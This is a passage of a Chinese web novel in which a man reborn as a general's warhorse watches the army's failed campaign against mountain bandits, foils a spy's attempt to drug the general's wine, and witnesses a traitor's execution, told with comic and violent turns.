而地方官员一方面胆小怕事,一方面也没有足够的兵力,有那么点兵也是三脚猫的功夫,谁上谁死。
地方官员就说了:他们已竭尽全力,无计可施,只能生死有命富贵在天。
村民们七嘴八舌地把县尉的原话告诉校尉及士兵,校尉很是气愤,一顿安抚之后,命一队人送他们回村,他会将山匪劫掠村民的事向上级汇报,让他们静等消息。
村民离开前,朝着校尉大人磕了好几个头。
人心都是肉做的,校尉见不得老百姓遭受难,他还记得其中一位大娘的老伴儿是帮他们军营运送过建材的工人,当时雇了一些民夫帮着建营地,这位大娘便为他们端茶送水,不想几年后竟是落得这样一个下场。
这吃人的世道啊!
“闭门!”校尉高喝一声,旋即就要火急向上头汇报。
巧了!
正着急的时候看见一匹马!
校尉三步并作两步冲向宋铮。
宋铮也是一惊。
要骑我??
校尉还没上马就察觉到不对,这不是乌云吗?
大将军的坐骑他怎么能骑?
而且最近小道消息传遍了,大将军半夜抢夺魏将军的棉被,就为给乌云送被子,宠得过分了。
“我不能骑你,你是大将军的宝马,我骑你,就是以下犯上。”
校尉闪退三步,还是用跑的。
宋铮也调头就跑。
人只有两条腿,马儿有四只蹄子,他再怎么柔弱,四只蹄子跑起来总比两条腿快,他还会抄近路。
他猜到校尉会去找谁,霍霁风被高崇山拉去处理公文了,霍霁风是典型的不爱动笔,公文积压了一大堆,此刻正是“小学生写作文,抓耳挠腮”加“脾气暴躁”的时候。
陆十九与魏常则在各处巡营,离校尉最近的就是在铁匠营的夏戎了。
“哟,乌云来了,”夏戎放下手里兵器,拦住他,“这里可不是玩闹的地方,去去,到别处玩儿去。”
宋铮退开几步,他不是来玩儿的,他想知道剿匪的事军营会怎么处理。
“夏将军!”
校尉大步而来,首先撞入视线的不是夏副将,而是通体漆黑漂亮的乌云。
一愣,咋又遇见了?
这匹乌云好像在凑热闹,但他没有证据。
夏戎问:“李校尉何事?”
校尉把老百姓求到军营的事一说,夏戎怒发冲冠,双眼都要喷出火来:“我等边关将士保家卫国,护的就是大澜的黎明百姓,结
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果还让山匪在家门口把父老乡亲们给祸祸了,这要不出兵把他们剿了,简直是天理难容!!”
“我这就禀大将军去,只需调派我五百士兵,三日之内,我必取匪首的狗头!”夏戎打着赤膊,上半身的衣服扎在腰间,气势凶煞、声若雷霆。
他是个急脾气,恨不得电光石火间就抵达中军帐,当即就要上马。
刚抓住宋铮的牵马绳。
陡然回神。
不对。
夏戎:“我不能骑你,你是大将军的宝马,我骑你,就是以下犯上。”
校尉:“..........”
好熟悉的台词。
其实宋铮倒是无所谓,事出紧急,他驮他们一程是理所应当,不过他驮他们的速度能不能比他们自己跑得快就两说了,见夏戎松手不打算骑他,他马尾一甩又跑了。
夏戎带着校尉火速去往中军帐。
一进帐。
一匹健壮英俊漂亮的马正注视他们。
夏戎一愣。
李校尉愣了又愣。
这匹马好像在凑热闹,但是他们没有证据。
村里遭山匪的事一汇报,霍霁风拍案而起,公文也不批了,一摞一摞堆起的文书被震得“哗啦”一声落满地。
高崇山两眼发黑,处理公文与剿匪同样重要,但显然大将军想借着剿匪的事把头疼的文书工作往后推。
“大将军,这些......”
霍霁风阻止高崇山唠叨,立马下达命令,先派人去把县尉“请”过来。
虽说军营有二十万大军,对付一帮山匪那可真真是绰绰有余,但山匪都是刀口舔血,天天把脑袋别在裤腰带上的穷凶极恶之徒,不能因为气愤就草率行事,需了解他们的做派,有多少人马,何处是大致的藏匿地点。
再拟定计划,最好能不折损营中的士兵,还能一举把山匪灭了!
“大将军,就让末将去把这个李茂安绑回来,好好问问他是怎么当的父母官!”夏戎一抱拳出了营帐。
剿匪的事军营可以插手,但不是主责,流程该是县尉上报给上面的县令,若超出县令的能力,就要起草公文上报给上级郡府,让他们调兵马过来。或者警惕一些,早早预料会有匪患,做出正确防御,损失就能减损到最小。
怪就怪县尉李茂安丝毫不作为,有所耳闻的县令没接到报告也睁一只眼闭一只眼。
不出一个时辰,夏戎把李茂安带回来了,还真是用绑的。
高崇山眼前黑了又黑。
大小是个官,五花大绑的,不知道的还以为你们要造反呢!
不知道当今皇帝猜忌重吗?!!
哎呀!!
“快快快,给李大人松绑,李大人是地方父母官,没有功劳也有苦劳,你们把人绑了算怎么回事!”几位将军都要唱白脸,高崇山就只能唱红脸,立马让士兵给他松绑。
一个小小的县尉,胆子也就那么一丁点,一被绑就吓尿了,士兵搀他他都腿软。
宋铮上前帮忙,咬住李茂按肩头的衣服拉他起来。
对待军爷们,李茂安是半点不敢嘴硬,讨饶时哭得一把鼻涕一把泪,但见一匹马也凑上来,心头火大,当即一推:“打哪来的畜生,你也敢来掺和,滚开!”
“......”宋铮被骂了。
而整个帐内,突然就安静了。
21.第 21 章
宋铮冷脸了。
好心扶你,你还骂我?
宋铮本来是想把他拉起来,这一下,拎起来之后脑袋一甩,又将人撂倒在地。
“哎呦!”县尉摔了个四脚朝天,他畏畏缩缩爬起来,不等再开骂,一只巴掌扇过来,只觉那巴掌特别大,挡住了所有视线,如黑云压境,阴霾罩顶。
啪!
结结实实,干干脆脆!
县尉嘴里喷出带血的牙齿,如陀螺似的原地转了三圈才倒下。
嘭!
当场昏死过去。
帐内鸦雀无声。
霍霁风冷哼:“谁是畜生可不好说。”
夏戎与李校尉头皮紧了紧,心说好险好险,幸亏之前没骑大将军的爱马。
高崇山扶着额头,头疼、晕眩、血压高,大喘口气,发出灵魂拷问:“大将军,您一巴掌把县尉给扇死过去了,谁来提供山匪们的行径踪迹,这不是白‘请’人了吗?”
“一时手滑了,”霍霁风毫无愧疚可言。
高崇山抽了抽嘴角。
宋铮瞄霍霁风,垂落的顺滑尾巴不自觉在空气里荡来荡去。
李校尉道:“禀大将军,李茂安的副手尉史也跟着来了,尉史与他是沾亲带故的关系,很多重要工作都是他替李茂安处理,来之前还说他更了解山匪的踪迹,他就在外面候着。”
霍霁风:“把他带进来!”
尉史颔首低眉,恭恭敬敬,进来之后知无不言言无不尽。
不难猜测,县尉不作为,手底下的人也好不到哪儿去,只是因为他与县尉有着亲属关系,还要靠这亲属关系过好日子,说不上有多大富大贵,那肯定是比普通百姓好得不是一星半点,这才斗胆跟来,保全县尉,就是保全他自己。
尉史将山匪何时进村,人马多少,又如何来如潮涌退如鬼魅地描述一番。
说着,从袖子里拿出一卷地图。
“不久前,有一猎户来报官,说有山匪从他们农户附近的路上出没,此刻想来应是山匪在查探路线,县尉大人与下官心急如焚,当天就派人手去查,的确发现了马蹄印,只是.....”
尉史比县尉聪明恭敬得多,朝霍霁风等人又一行礼,面容愁苦,唉声叹气,痛心疾首:“只是,咱们官邸的人手不够,不敢往深了去,又没有过多的证据,不敢往上头报,不想山匪来得又急又快,委实意料不及,县尉大人忧心忡忡,寝食难安......”
“行了,后面都是放屁的话,不需要在本将军面前演,下去,”霍霁风一挥手打断。
尉史忙低头,脸色微微发白。
传言这位霍将军杀人不眨眼,凶残,脾气暴躁,他算见识了,不是假的。
“是是,”尉史忙倒退着出去。
刚退出营帐,县尉也被丢了出来。
尉史擦了擦额头上的汗。
剿匪之事要干,但急不得,按照尉史提供的路线,夏戎亲自带兵去查,一共花了五天时间查清楚了山匪的老窝。
实在是他们藏得精,才花费多日。
这天,宋铮正与阿白阿红在草地上啃草。
远远的,传来了一声沉闷的轰鸣与绞盘转动之下铁索发出的摩擦声。
是军营大门放下的声音,夏戎回来了!
“你们慢慢吃,我有重要的事先走了!”宋铮拔腿就跑,急匆匆要回军营去,他要去找霍霁风,找到霍霁风就能听到最详细的第一手消息。
“老大,你干嘛去?”阿白扭头跟着他,“是不是大将军给你开小灶了,你最近又胖了老大!你要去吃独食?”
“瞎说!是大将军也爱吃草,他不好意思说,他再来不吃眼看草都要黄了,我去喊他!
“原来如此!”
“你们抓紧吃,别到时候他来了你们抢不过他。”
“好嘞!”阿白紧急停下,赶紧吃草。
此时此刻霍霁风在练兵,宋铮一路冲向校场。听见马蹄声,霍霁风扭头看来,没说什么,只从怀里掏出一块豆糕喂给他。
宋铮毫不犹豫吞进嘴里。
此时夏戎也到了。
从他的汇报听来,剿匪之事的确不能草率行事。
其一,山匪藏匿的密林通往葫芦谷,葫芦谷,顾名思义就是入口像葫芦嘴那么小,最窄处仅容两马并行,要从这里进行攻打,他们的兵马根本施展不开。
而山匪只要在两侧崖壁埋伏,投下滚石,那就是来多少死多少。
其二,在于地势,葫芦谷的三面皆是万丈绝壁,猿猴难攀。
夏戎从对面的山头望了,山匪的老窝靠着崖壁而建,无法从侧翼或背后迂回,只有从正面强攻这一选择,那么问题就要回到第一个,从正面强攻要从葫芦谷入口进,定是凶多吉少。
其三,谷里有充足水源,就是派兵把这葫芦谷围得水泄不通,山匪也能靠水源支撑数月,时间拉锯太长。
霍霁风召集人商讨对策。
一众人中夹着一个马儿脑袋,宋铮也在苦思冥想。
有没有什么好办法,可以不折损士兵又能出其不意把山匪全部歼灭?
“大将军,不如咱们给山匪投毒如何?”魏常的面容中透露出一抹狠辣,“他们不是靠谷中的水源生活?咱们就下毒,下大量的毒,到时候不用折损军营的弟兄就能把他们全部毒死,连力气都不用咱们花,哈哈哈哈哈哈.......”
营帐里只有他一个放声大笑。
宋铮默默替他尴尬。
魏常体态看着熊,连面相都显得有点憨,可是能想到放毒,说明人不可貌相,但放毒这招....又憨回了原点。
意识到没人觉得这是妙计,魏常挠挠头,不笑了。
高崇山慢条斯理开口,先扬后抑:“魏将军此招,是一绝佳的妙招,可此招的难度太大,将军你们看,”
他指向地图上的河流走向,“它虽流经葫芦谷,但也流入山下的永和镇以及附近的村落,都是靠着这条水源,若是下毒,难免不会祸及百姓,此招甚妙,却不可行。”
“还是高先生考虑得周全,”魏常虚心点头。
宋铮在心里又帮他们补充一点。
就算葫芦谷的水源不流经村落,也难办,毒药少了被大量河水稀释,起不了一点作用,要是用大剂量,又该用多少,恐怕一时半会儿军营也造
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不出来,造出来了,还会破坏地理环境。
“那我们应该怎么做?”夏戎是个急性子,“这正面也不能打,侧面也攻不了,那究竟还有什么法子能灭了他们!”
陆十九怀抱佩刀,不苟言笑:“用箭,如何?”
霍霁风抬了下眼皮,不置可否。
夏戎已兴奋叫好:“这个主意好啊!不用正面冲进去,就能把他们射成马蜂窝。”
可宋铮没他这么乐观,看着临摹回来的谷中山寨景象,用箭,让他联想到了诸葛亮的草船借箭。
山匪的建的房屋不是没有防御,大约也是怕被包饺子,屋舍外层都有顶棚,可以第一时间抵御箭矢攻击,山匪只需要当缩头乌龟就能保命。
等军队的箭都用完了,他们就能把投射下来的箭占为己用,简直不要太好。
“不可,”高崇山再次否定,恰好他的想法与宋铮一样。
宋铮听着,不自觉“咴咴”附和点头。
谁都没有注意他,只有霍霁风,余光看了他一眼。
夏戎抓耳挠腮:“那怎么办?!”
结合他们刚才的出谋划策,霍霁风想到了更妥帖的办法:“火攻。”
高崇山一思忖,直呼绝妙:“届时可趁着黑风高,让弓箭手埋伏在葫芦谷两侧的山崖上,箭簇统统裹上浸透火油的麻布,给他来个火烧葫芦谷,再把谷口的小道封了,让他们插翅难逃,这帮子山匪烧杀抢掠,无恶不作,死有余辜!”
这个办法获得了一致赞同。
宋铮也仔细琢磨了一番,只要在埋伏时小心些,不惊动山匪引起防备,的确是万无一失。
第二日,等天色黑透,霍霁风亲自带队,与夏戎一道出营剿匪。
宋铮远远地目送他。
待大门关闭,宋铮溜达去了运送物资的侧门。
看曹卫清点兵器是其次,从曹卫那儿要根胡萝卜是正经。
宋铮叼着胡萝卜回马厩。
一回马厩,阿冬就开始与他唠嗑,说养马那么多年,从来没有见过像宋铮这样自由的马儿,又说今晚的饭菜没有往日的好吃,是不是厨房又进了奸细,说着说着,阿冬摇摇晃晃起来,跟喝醉了一样。
“我怎么.....觉得.....天在转....乌云....你、你也在转呢.....”
“我.....好晕啊....”
嘭!
阿冬倒在了地上。
宋铮一惊。
你什么情况?!眩晕症犯了???
“喂,阿冬!你醒醒!”宋铮低头咬住他衣服,企图把他拉起来,但扑在地上的阿冬一动不动。
不会死了吧?!
宋铮费劲地把他翻转过来,见他胸口有起伏,松口气。
正打算去找人,就住在马厩附近营房的一名马夫鬼鬼祟祟进来了,从远处瞥过倒地的阿冬后,身形隐入不起眼的角落阴影里,也不知道借着暗处捣鼓什么。
宋铮不动声色,装作普通马匹一样,只顾着吃草料。
片刻,那名马夫出来了。
俨然乔装成了霍霁风身边负责生活起居的亲兵,林六的模样了。
22.第 22 章
冒充之人悄无声息乔装成林六,又以奇怪的身法让明明是正常体型的人,愣是钻进一个常人无法通过的狭小狗洞就不见了。
宋铮尝试了下,他连脑袋都卡不出去。
这大概就是类似缩骨功的奇能异招?
那人待过的角落里,还有一张皱皱巴巴的人皮面具,想必连“马夫”的身份都是伪装的。
而此人办成林六,要去做什么?
宋铮扭头跑出马厩。
“乌云,你怎么又跑出去?三天不打上房揭瓦是不是?”马厩守卫见他又出来,笑着打趣,实在是他自由得让人羡慕嫉妒恨了。
另一守卫哈哈大笑。
想到什么,宋铮调头回来。
守卫:“我开个玩笑你该不会是生气了?你听懂了?”
宋铮是担心里面躺着的阿冬,只要让守兵进去看一眼,一定能引起他们警觉,明白军营里面又进了奸细,可转念一想,一旦营内吹起号角,加强守卫,奸细也会更加防备,说不定中途又换张脸皮,到时候奸细是谁他可就找不到了。
算了,让阿冬躺一会儿吧。
宋铮踢踏了一下蹄子又跑了。
守卫不明所以。
宋铮直奔霍霁风的营帐。
既然是乔装成林六,大概率的目的就是霍霁风,可霍霁风出营剿匪去了,不在军营。
这么想着,宋铮稍稍放慢脚步。
到了营地的中心区域,他没有着急进去,而是在附近徘徊,等着那个“林六”出现。
大约过去一刻钟的时间,林六来了,怀里抱着一床棉被,是宋铮用过的那床。
后勤的杂役把被子仔仔细细清洗过,也晒干了,林六想着乌云有了一床,便把将军的被子物归原主,他与守兵打过招呼后进去。
林六没过几分钟就出来了,宋铮来到他面前。
林六不止负责霍霁风的饮食起居,还兼职医疗营里的工作,平常要帮着伤兵处理伤口,晒晒草药等,身上有草药味,即便很淡,但以宋铮强大的嗅觉连他今天碰过哪些草药的类别都清楚。
“乌云,”林六和平时别无二致,摸了摸他额头。
这个林六是真的。
宋铮确认完毕,唰得走开。
手还保持着抚摸动作的林六:“.........”
行吧,大将军的马总归是有点傲气的。
宋铮继续在附近徘徊,他一开始就没跟上冒牌货“林六”,所以不知道冒牌货在哪里,他会不会在此时此地出现也是概率事件。
好在让他等到了。
又一个林六来了,这回手里抱着一坛酒,因为他数次出入,守兵也多询问了两句,怎么做事还带丢三落四的,林六笑说今日太忙,做事才顾头不顾腚,把大将军的酒给落了。
守兵摆摆手手。
“林六”进入营帐,油灯光晕微微晃动。
他放下酒坛,从怀里掏出一个药包,悉数将药粉倒入酒中,重新封口之后迅速离开。
他前脚走,宋铮后脚就进,两个守兵想拦都没拦住,虽说一匹马做不了什么,但经常随意出入显得他们这些守兵特别像工具人,两人默默对视一眼,无可奈何。
宋铮一眼就盯上了酒坛。
鼻子凑上前嗅嗅,浓郁的酒香萦绕在封口处。
他记得表姐的男朋友喜欢低价抢飞天茅台,再转手市场上卖就跟炒鞋类似,但不能无限制疯狂抢,一个实名账号规定时间内只能抢购一次,他的手机号也没能幸免,在表男拜托下申请了一次,就那么巧,还真让他抢到了一瓶。
去取茅台前,表男在电话里叮嘱他怎么检查,比如瓶身有没有裂缝,密封有没有严实,要闻一闻瓶口有没有酒气,有酒气就代表密封得不严,也可能被打开过。
此时宋铮闻到未散的酒香,百分百断定,送来的酒被冒牌货开过封口。
用蹄子想也知道是下药了。
他用脑袋一顶。
嘭!
酒坛从案几上摔落,碎了个四分五裂。
外面的守兵急忙冲进来,见乌云打翻酒坛,摇头叹气。
“你这头乌云,是不是大将军不在,你就放飞自我了,我告诉你啊,你别再捣乱,否则大将军回来我就告状去,禁你的足,让你连马厩都出不了,知道没?”
守兵牵着他的马绳往外走,“求求你,回你的马厩去吧。”
宋铮不辩解。
说了他们也听不懂,昂首挺胸迈着优雅的蹄子离开。
现在回马厩刚刚好,让阿冬被士兵发现,营内再加强布防,而自以为得逞的冒牌货也不会再折返,只会想方设法怎么出去。
冒牌林六朝军营侧门而去,期间又在隐秘角落换了脸皮。
快到侧门时,一名士兵过来,搭住他的肩膀,小声说:“兄弟,我有东西送给你,你是最想要的。”
冒牌货面上闪过一抹戾气,但为了不节外生枝,还是跟士兵走到某营帐后头:“你要送我什么?”
“送你上西天。”
噗嗤!
士兵手里多了把锋利的短剑,刺剑削铁如泥,轻而易举就刺入了冒牌货胸口。
冒牌货当场毙命,人皮面具上还残留着不可思议的表情。
士兵招呼两个早就等候的兄弟过来处理尸体,自己则易容成冒牌货,照旧前往的侧门。
侧门的守兵已被调走,只有巡营会经过的陆十九在那儿,为他备好了马匹,那人朝着陆十九一抱拳,翻身上马疾驰而去。
那具尸体被拖去了后勤堆积杂物的地方。
两名士兵见陆十九过来,简单行一礼,陆十九吩咐:“处理得干净一些,不要留下任何痕迹。”
“是!”
....
中军帐。
士兵战战兢兢收拾完地上的酒坛渣子,随后走出营帐。
偌大的帐内空荡、四下寂静,只余一盏油灯幽幽亮着。
不一会儿,油灯里的光亮晃了晃,从一张制作巧妙可以混淆人视线看起来无处藏身的木制屏风后竟走出一人来。
轮廓刀削斧刻、眉如剑锋、目如鹰隼,不正是霍霁风。
山匪三百余人,对他而言不过区区而已,剿匪计划布置得周密,用不着他亲自出马,夏戎带队定然也是凯旋而归。
而与夏戎一起出军营的“霍霁风”只是一名易容的亲兵。
北梁人有人皮面具,他大澜难道就没有精通易容术之人?笑话。
酒水
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撒过的地面还有未干的水渍,他双手背后,目光犀利,看着地面来回踱步。
皇宫里那位坐不住了,安插在军营里的眼线要趁着他“出营”下毒,更料得不错的话,一定是慢性毒药,不会当场暴毙,毒素会慢慢浸透筋脉,让他日渐虚弱,最终武功尽失,死在与北梁的战争中。
“他娘的狗皇帝,”霍霁风忍不住骂出声。
这些早有预料,意外的是......他的乌云。
乌云一进来就打翻酒坛,目的相当明确。
......
宋铮跑回马厩,一边拽拉一边拱着守兵让他发现倒在地上的阿冬,阿冬只是被下了迷药,没有性命之忧,士兵大喝一口水,噗得喷他脸上就醒了。
哒哒哒!
宋铮连退好几步。
才不要沾到口水。
阿冬靠着马厩里的柱子,迷迷糊糊睁眼:“我....我怎么了?”
见他没大碍,士兵顾不得回答他,紧急通知巡营的兄弟们,没一会儿,外头来来往往的士兵脚步变多了,显然已加强守备。
不管这个冒牌货现在在哪儿,一时半会儿应该不会再有动作,宋铮安心在自己的马厩里躺下来,想着等霍霁风回来,再想办法告诉他。
月上中天,星子全隐了踪迹,幽深寂静的密林被笼罩在圆月之下。
几只飞鸟突然扑棱棱从林中惊起。
“霍霁风”带着两名士兵负伤疾行,一路前往军营。
天微微亮时,又一次进入打盹儿状态的宋铮听见大门开启的隆隆声,抖抖耳朵,想着是夏戎剿完匪回来了,正待继续睡时,忽然觉得不对。
他猛地惊坐起来。
声音不对!
夏戎带了四百名士兵,照道理这次剿匪与预计不会有什么出入,想必还会捉些愿意投降的山匪回来,四百人去,该四百多人回,而且每次胜仗回来,营内都会士气高涨,欢呼激烈。
这次却静悄悄的。
该不会........
夏戎剿匪失败了吧?!!
宋铮立马就要去看看情况,阿冬打着哈欠过来,见马儿又要去撒欢,紧急拦住他:“你看你一只眼睛还在睡觉呢你就跑,你不吃早饭啦?!”
宋铮做势往右,实际是往左,假动作骗过阿冬。
哒哒哒......
阿冬:狡猾得已经不像一匹马了.....
宋铮跑来时正见惨兮兮的“霍霁风”被两名亲兵左右架着进帐的背影。
“霍霁风”满脸血污,肩胛中箭,他心头倏地收紧,到底是相处了一段时间的人,怎么说也有些正常的朋友感情了,对方突然受重伤,他都不敢上前去看。
踌躇了会儿,他探进一个脑袋。
原本受伤狼狈还需要搀扶的人,这时好好地立在帐中,脸上的血污没了,身上的箭也没了。
是他进来的方式太急躁了吗?
马蹄后退,收回脑袋。
从从容容再钻进去。
一人一马对上视线。
方才一同冒死逃回来的士兵紧急汇报:“大将军,山匪实在是狡猾奸诈,他们早就得知我们的行动,我们中了山匪的埋伏,夏将军与其他人都已被俘!”
23.第 23 章
昨夜,子时。
夏戎带兵埋伏在山崖两侧,和往常一样的黑夜看似没有异样,但士兵们的眼睛都牢牢定在了葫芦谷的山匪老窝上。
“夏将军,我们什么时候动手?” 挨着夏戎藏身的李校尉问。
“再等等。”
“是。”
夏戎是这么想的,葫芦谷内还有火把在移动,说明有山匪在巡视他们的领地,这时候他们若给麻布点火太过显眼,会引起山匪察觉,反正这些匪徒已是瓮中之鳖,晚个一时半会儿不打紧。
他稳如石雕,一动不动。
灌木丛的叶尖上落下一滴小小的水珠,吧嗒,掉他脸上。
夜晚水汽重,埋伏中的士兵们脸上、脖子、手背,也都沾了不少夜间的露珠。
夏戎动了动两道眉毛。
过了会儿,又抽动两下鼻子。
再过一会会儿,半边脸颊开始一抖一抖抽搐起来。
不为别的。
因为痒。
脸上发痒是突然来的,短短的片刻就痒得不得了,他用极慢的不惊动一草一木的速度,挠脸。
李校尉:“夏将军,你有没有觉得身上很痒?”
夏戎:“你这不是废话吗,你看我不是在挠?”
“夏将军~~”空气来传来一道幽森森的空气音,“我~也~很~痒~我们是不是赶紧灭了山匪好~回~营~”
士兵们一个个都开始抓耳挠腮。
夏戎猛然惊觉。
不好!露珠上有毒!得速战速决。
“点火!立即点火!射箭!把山匪的老窝给我射成马蜂窝,烧得它灰都不剩————”夏戎紧急发号施令。
尽管大伙儿身上奇痒,却都是训练有素的士兵,立即点火,张弓搭箭。
可说时迟那时快,从他们埋伏的后方传来山匪们的呐喊声,交战就发生在电光石火间。
士兵们全部中了毒,身上仿佛有千万只蚂蚁、蜜蜂、蛇虫在到处爬啊咬啊,要是抓破皮肤,露珠里的毒素还会钻入血液里,那就不止是奇痒无比,还会有钻心地疼,这样的情况下,他们哪里还有胜算。
夏戎忍着浑身难受斩杀山匪,保全了几名士兵逃出重围。
不知是谁在背后的踹了他一脚,夏戎往前踉跄跪,同时门面前一柄刀子砍来。
他迅速抬手格挡,挡了前面,挡不了侧面,其余山匪砍伤了他另一条手臂,顿时血流如注。
谁是这次的剿匪的带头人,谁就是山匪们的首要目标,他身后的人也高举大刀,想要给夏戎来个一击毙命,可眼看刀子要落到夏戎的后脖子上,举刀的山匪却闷哼一声倒了下去,怎么都没想到,夏戎背后跟长眼睛似的,人没回头,武器倒是调转方向把他刺了个正着。
夏戎身经百战,不是吃素的,但山匪也异常得残忍凶狠。
山匪的头头自诩是乱世中的魔王,天不怕地不怕,更不怕边关的大军,他抓起一个士兵,一刀抹断其脖子,张嘴饮用士兵脖子处飙射的鲜血,哈哈大笑。
“我听说霍霁风带的大军,对敌人从不手软,但对自己人却是亲如兄弟,也不知道是不是真的。”
大部分的士兵被山匪控制住,且被夺走了羽箭,只有夏戎被重重包围,誓死抵抗,不过他越是抵抗得久,死的山匪也就越多。
山匪头子提起另一名鲜活的士兵走入重围:“这位将军,我捉了你们还有用,你要是乖乖投降,我们山寨不说好吃好喝地伺候着,起码会留你们一个活口,你要是不听劝,你这几百兄弟,我弄死半数以上也是可以的。”
“对,我们山里缺粮缺肉,正好拿你们当下酒菜。”
“要说还是女人的肉好吃些,那味道还挺鲜嫩,哈哈哈....”
“什么女人的味道好,那锅子娃娃肉你们不都抢疯了?”
山匪的叫嚣夹杂着高声讨论,听得夏戎震惊不已。
畜生!
简直是一帮猪狗不如的畜生!!!
这世道是很乱,各国之间纷争不断,可他们的大军没让北梁人的铁蹄踏入过大澜境地一分一毫,边关的百姓虽然没有多富裕,可是能吃饱穿暖,山匪们不做打家劫舍的勾当,有手有脚就能下山找点事儿做,饿不死。
他们没到山穷水尽的地步,却选择如此残忍的做派。
丧尽天良!!
“啊————”
夏戎仰天怒吼,喉咙里弥漫出血腥味,脖子里暴起的血管仿佛要炸开来。
今日落在山匪手里,他只怪自己无能,但不能拖着其他士兵们去死,怒吼中他扔掉了手里的兵器。
留得命在,不怕翻不了盘。
.....
宋铮从士兵的汇报中抓住疑点。
夏戎剿匪失败这点不用质疑,奇怪的是拼死回来报信的士兵为什么要向霍霁风禀报?
他亲眼看着霍霁风与夏戎一起去的,难道是霍霁风半路回来了?
可是又不对,他要是半路回来,那刚才身负重伤的人又是谁?
宋铮注意到帐内的三个士兵,其中一人伤势重,肩膀中箭,和先前受伤的“霍霁风”如出一辙,可他的样貌根本不是霍霁风,不过,士兵的数量不对,进账的明明只有两人,此刻却成了三人。
“!!”宋铮一下就明白了。
至于为什么,当下不重要,重要的是那些有去无回的士兵们还等着营救。
三人将他们受到埋伏的过程详细汇报。
山匪过于狡猾,早就知道他们要进山剿匪,还知道他们埋伏的地点,所以在他们埋伏的地方下了毒,至于怎么把毒下到夜间的露珠里,他们百思不得其解。
高崇山等人紧急汇合商讨。
将士们进进出出,那三名士兵也被送去医疗营,无人察觉到士兵由两人变成了三人。
帐内的气氛很压抑。
魏常当即向霍霁风请战:“大将军,不如让末将即刻带一千兵马杀进葫芦谷,管他地势好不好,就算入口只有老鼠洞那么大,末将也要凿开了冲进去,杀他个片甲不留!”
“魏将军稍安勿躁,”参军王秀兰道,“当务之急是要把夏将军等人救出来,可山匪还会用毒,有一就有二,我们连他们如何在夜露中下毒尚不可知,莽撞前去,兴许还会着了道。”
“王参军说得对。”霍霁风道。
话落时分,他抽出陆十九腰间的佩刀,寒光一闪,长刀已削去王秀兰的头颅。
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尸体脖子上喷出的鲜血洒了大伙儿满脸。
!!!
宋铮愕然。
霍霁风你在做什么?!
怎么说杀人就杀人?!
能不能麻烦你杀人前给点预兆啊!!
宋铮眼前发黑发晕,呼吸急促,四条腿也软了,不得不在原地慢慢躺下来,而他刚躺下,直挺挺的无头尸体恰好倒在他马背上。
“..........”
宋铮吃力起来,马蹄子不听使唤,各走各的踉跄到案几旁,再次坐下,脖子一歪搁在摞起的小山高的文书上。
帐内的其余人也是始料未及,一个个呆若木鸡。
霍霁风手持着带血的长刀,杀个人就仿佛切菜那么淡定,但能惹到他二话不说杀人,实则是触到他底线了:“我霍霁风明人不说暗话,谁对我忠心耿耿,谁是皇上安插在我身边的眼线,我一清二楚,夏戎被俘,不是王秀兰与山匪勾结告密,就是你们别的眼线通风报信。”
“以前是本将军心情好,睁一只眼闭一只眼,从今往后,谁惹我不痛快,别怪我杀人之前没通知你。”
霍霁风手腕一转,长刀唰得归入陆十九的刀鞘中。
“哪些人应该滚出营帐,还需要我点名吗?”
有几名参与的中级军官面上已显露忐忑,最后默默离开中军帐。
本来歪着脑袋的宋铮已经听得笔直地竖起了脖子,大大的眼睛里是大大的震惊,诧异、骇然、不可置信。
作为一国将军,功高震主,受到帝王猜忌是正常,可是身为臣子怎么敢公然说出“皇帝在我身边安插眼线”这种话,这不是公然叫板吗??!
霍霁风你胆子怎么这么大???
你是疯子吗?!!
高崇山张大嘴,到几个军官走出营帐都没合上。
魏常托住他下巴合起来:“高先生,口水收一收。”
“什么口水?我哪里有流口水!现在是流不流口水的问题吗!”高崇山蓦地回神,血压飙升,脑子突突的,“大将军,您也太冲动了!您把话放在明面上说和要造反有什么区别?!万一皇...不,那位来点更阴的该如何是好?”
霍霁风很是受教:“高先生所言甚是。”
高崇山一时语塞。
甚是,甚是你还把人杀了??
宋铮默默瞅着霍霁风,不得说,这个男人有一种平静的疯感。
“哎,”高崇山叹气,“眼下王参军的死我们如何交代,总得给皇宫那位一个合理的说法,表面上的和谐还是要维持的。”
魏常:“就说他勾结北梁,被大将军发现了,所以自刎谢罪。”
高崇山:“自刎能把自己脑袋如此整齐地割下来?”
“这个......”魏常挠挠头,说着就要拿刀来试一试。陆十九摁住自己的刀:“末将有个想法,不如说王参军利用职务之便,对底下的士兵图谋不轨,行龙阳之好,扫了大澜将士的威严,大将军才不得不杀之以正军威。”
“嘶.....”霍霁风摸摸下巴,“龙阳之好,辱没军威 ,听起来可行。”
宋铮:“..........”
你们有谁还记得要救夏戎吗?
24.第 24 章
不知道怎么死的王秀兰就这么被按上了“龙阳之好”的罪名。
接下来几人继续讨论怎么救夏戎。
“方才王参军说得对,贸贸然杀进葫芦谷,说不定还会中招,需先了解他们用什么法子下的毒,以作防范,”高崇山道。
其实这个问题,宋铮方才已经想明白了。
边关入秋之后,早晚温差大,白天的高温可以让空气里储存大量的水蒸气,到了晚上水蒸气遇冷就会液化成水珠,而山匪们只要提前在白天将毒粉洒在山崖两侧的灌木丛里,晚上液化的水珠自然会把毒粉溶解进去,形成了有毒的夜露。
宋铮很想告诉他们,但他这一匹马要怎么表达?
先处理一下自己再说。
他脸上沾了血液,鼻腔里充斥着血腥气让他难受,脑袋甩来甩去地摩擦着案几上的文书,擦脸。
哐!啪嗒!咚!
好些文书从桌上散落。
大家的目光都朝他看来。
高崇山称奇:“高某发现,最近咱们商讨要务,怎么都有乌云在?大将军的中军帐都快成他的马厩了。”
“可不,”魏常附和,“我们都火烧眉毛了,瞧它悠哉的,还在这儿玩呢。”
“他是嫌脸脏了,爱干净得很,”霍霁风扫了眼地上的狼藉,走到屏风后放置铜盆的架子前,拿起洗脸的布巾浸水拧干,走出来后给宋铮擦拭掉脸上的血水。
宋铮微愣,乖乖低头让他擦。
霍霁风.....还怪好的。
永远没什么表情,波澜不惊的陆十九:嗯,确认无误,将军已中马毒。
魏常憨笑:“将军,您也太宠它了,连自己的布巾都给乌云用,我看乌云上辈子一定修了天大的福气。”
“也可能是我上辈子造了孽,”霍霁风帮宋铮擦完脸,随手一抛,巾布飞过屏风稳稳落在铜盆里。
魏常的脑子不够转:“?”
宋铮听懂了。
是嫌弃他最近吃的多,干的少,体力还跟不上趟儿。
“咴儿,”宋铮发出不满,咬住霍霁风的衣服扯动,但对方纹丝不动,当然他也没那个能力把霍霁风撂倒。
